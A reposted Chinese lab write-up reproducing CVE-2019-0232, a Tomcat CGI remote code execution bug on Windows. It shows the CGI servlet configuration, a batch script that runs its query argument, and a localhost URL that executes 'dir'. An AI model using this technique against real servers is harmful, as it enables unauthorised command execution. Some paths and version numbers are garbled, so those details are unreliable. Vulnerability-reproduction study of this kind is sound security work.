复现CVE-2019-0232 Tomcat 远程代码执行

Posted Sec5ay

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了复现CVE-2019-0232 Tomcat 远程代码执行相关的知识,希望对你有一定的参考价值。

漏洞描述

Apache Tomcat 在启用了 enableCmdLineArguments 的 Windows 上运行时,由于 JRE 将命令行参数传递给 Windows 的方式存在错误,通过此漏洞,CGI Servlet 可以受到攻击者的远程执行代码攻击。

但是在默认情况下,Tomcat 9.0.x 中禁用了 CGI 选项 enableCmdLineArguments(默认情况下,在所有版本中都会禁用它以防御此漏洞)

影响范围

  1. tomcat < 7.0.04

  2. tomcat < 8.5.40

  3. tomcat < 9.0.19

官网给出的 Tomcat Hackathon - Brussels Belgium - 4/5 May 2019

环境搭建

测试平台:Windows 10

测试环境:Jdk 8u121、Tomcat 8.5.39

安装jdk

版本要求:Jdk 8u121

安装完成,设置环境变量


  1. 新建系统变量JAVA_HOME 和CLASSPATH


    1. 变量名:JAVA_HOME

    2. 变量值:C:Program FilesJavajdk1.8.0_121


    3. 变量名:CLASSPATH

    4. 变量值:.;%JAVA_HOME%libdt.jar;%JAVA_HOME%lib ools.jar;


  2. 编辑系统环境变量中的PATH,添加 %JAVA_HOME%in;%JAVA_HOME%jrein;


【复现】CVE-2019-0232 Tomcat 远程代码执行

安装tomcat

选择 apache-tomcat-8.5.39-windows-x64.zip

解压,进入 bin 目录下,双击运行 startup.bat

【复现】CVE-2019-0232 Tomcat 远程代码执行

访问:http://127.0.0.1:8080

【复现】CVE-2019-0232 Tomcat 远程代码执行

漏洞复现

编辑web.xml

该文件位于:apache-tomcat-8.5.39conf

 
   
   
 
  1. <servlet>

  2. <servlet-name>cgi</servlet-name>

  3. <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>

  4. <init-param>

  5. <param-name>debug</param-name>

  6. <param-value>0</param-value>

  7. </init-param>

  8. <init-param>

  9. <param-name>cgiPathPrefix</param-name>

  10. <param-value>WEB-INF/cgi-bin</param-value>

  11. </init-param>

  12. <init-param>

  13. <param-name>executable</param-name>

  14. <param-value></param-value>

  15. </init-param>

  16. <load-on-startup>5</load-on-startup>

  17. </servlet>

  18. ...

  19. <!-- The mapping for the CGI Gateway servlet -->


  20. <servlet-mapping>

  21. <servlet-name>cgi</servlet-name>

  22. <url-pattern>/cgi-bin/*</url-pattern>

  23. </servlet-mapping>

编辑content.xml

该文件位于:apache-tomcat-8.5.39conf

 
   
   
 
  1. <Context privileged="true">


  2. <!-- Default set of monitored resources. If one of these changes, the -->

  3. <!-- web application will be reloaded. -->

  4. <WatchedResource>WEB-INF/web.xml</WatchedResource>

  5. <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>


  6. <!-- Uncomment this to disable session persistence across Tomcat restarts -->

  7. <!--

  8. <Manager pathname="" />

  9. -->

  10. </Context>

创建利用脚本

/apache-tomcat-8.5.39/webapps/ROOT/WEB-INF下创建cgi-bin目录,创建hello.bat文件

 
   
   
 
  1. @echo off

  2. echo Content-Type: text/plain

  3. echo.

  4. set foo=%~1

  5. %foo%

代码执行

 
   
   
 
  1. http://127.0.0.1:8080/cgi-bin/hello.bat?dir

参考文章

http://tomcat.apache.org/oldnews.html

https://github.com/pyn3rd/CVE-2019-0232


以上是关于复现CVE-2019-0232 Tomcat 远程代码执行的主要内容,如果未能解决你的问题,请参考以下文章

CVE-2019-0232(Apache Tomcat 远程代码执行)漏洞复现

CVE-2019-0232漏洞复现

CVE-2019-0232 远程代码执行漏洞-复现

CVE-2019-0232漏洞复现

4W字+上千行代码!Tomcat渗透测试方法大总结,拿来吧你!

漏洞处置建议|Apache Tomcat远程代码执行漏洞处置建议